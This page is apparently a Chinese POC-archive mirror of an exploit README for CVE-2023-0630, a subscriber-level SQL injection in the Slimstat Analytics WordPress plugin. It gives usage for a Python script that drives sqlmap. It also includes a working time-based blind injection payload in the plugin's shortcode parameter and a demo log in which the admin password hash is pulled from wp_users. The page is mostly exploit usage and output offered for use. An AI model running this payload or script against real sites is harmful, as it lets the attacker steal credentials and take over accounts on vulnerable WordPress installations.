支持本站 — 捐款将帮助我们持续运营

目标: 1000 元,已筹: 1000

100.0%

POC详情: 254c6cd6cbfe1c3bc7605cf630ad8f13f126a9d0

来源
关联漏洞
标题:WordPress plugin Slimstat Analytics SQL注入漏洞 (CVE-2023-0630)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin Slimstat Analytics 4.9.3.3之前版本存在SQL注入漏洞,该漏洞源于存在SQL注入。
Description
CVE-2023-0630 - Slimstat Analytics < 4.9.3.3 - Subscriber+ SQL Injection
介绍
# CVE-2023-0630
CVE-2023-0630 - Slimstat Analytics &lt; 4.9.3.3 - Subscriber+ SQL Injection

Must Have
----

sqlmap installed & a valid username & password with subscriber+

Usage
---

```
usage: CVE-2023-0630.py [-h] -w URL -u USERNAME -p PASSWORD

options:
  -h, --help            show this help message and exit
  -w URL, --url URL     URL of the WordPress site
  -u USERNAME, --username USERNAME
                        Username of your wordpress user
  -p PASSWORD, --password PASSWORD
                        Password of your wordpress password
```

Example
----

```
python3 CVE-2023-0630.py -w http://127.0.0.1:8999 -u user -p useruser1
```

Demo
---

```
The plugin version is below 4.9.3.3.
Select a user:
1. admin
Enter the user ID: 1
___
__H__
___ ___[']_____ ___ ___  {1.7.5#stable}
|_ -| . [,]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
|_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 12:57:49 /2023-06-09/

custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
[12:57:49] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: action=parse-media-shortcode&shortcode=[slimstat f="count" w="author"]WHERE:1 AND (SELECT 5681 FROM (SELECT(SLEEP(5)))omyz)[/slimstat]
---
[12:57:49] [INFO] testing MySQL
[12:57:49] [INFO] confirming MySQL
[12:57:49] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.56, PHP 8.0.28
back-end DBMS: MySQL >= 8.0.0
[12:57:49] [INFO] fetching SQL SELECT statement query output: 'SELECT user_pass FROM wp_users WHERE ID = 1'
multi-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking warranty) [y/N] N

[12:57:49] [INFO] retrieved: [12:57:49] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[12:57:51] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
1

[12:57:56] [INFO] retrieved: [12:58:06] [INFO] adjusting time delay to 1 second due to good response times
$P$Bo9VMmaPu7iCbg9xXgIrEJmtfFNbDa1
SELECT user_pass FROM wp_users WHERE ID = 1: '$P$Bo9VMmaPu7iCbg9xXgIrEJmtfFNbDa1'
[13:00:22] [INFO] fetched data logged to text files under '/Users/rwiggins/.local/share/sqlmap/output/192.168.1.131'

[*] ending @ 13:00:22 /2023-06-09/
```

文件快照

[4.0K] /data/pocs/254c6cd6cbfe1c3bc7605cf630ad8f13f126a9d0 ├── [5.1K] cve-2023-0630.py ├── [ 34K] LICENSE └── [2.9K] README.md 0 directories, 3 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮件到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对 POC 代码进行快照,为了长期维护,请考虑为本地 POC 付费/捐赠,感谢您的支持。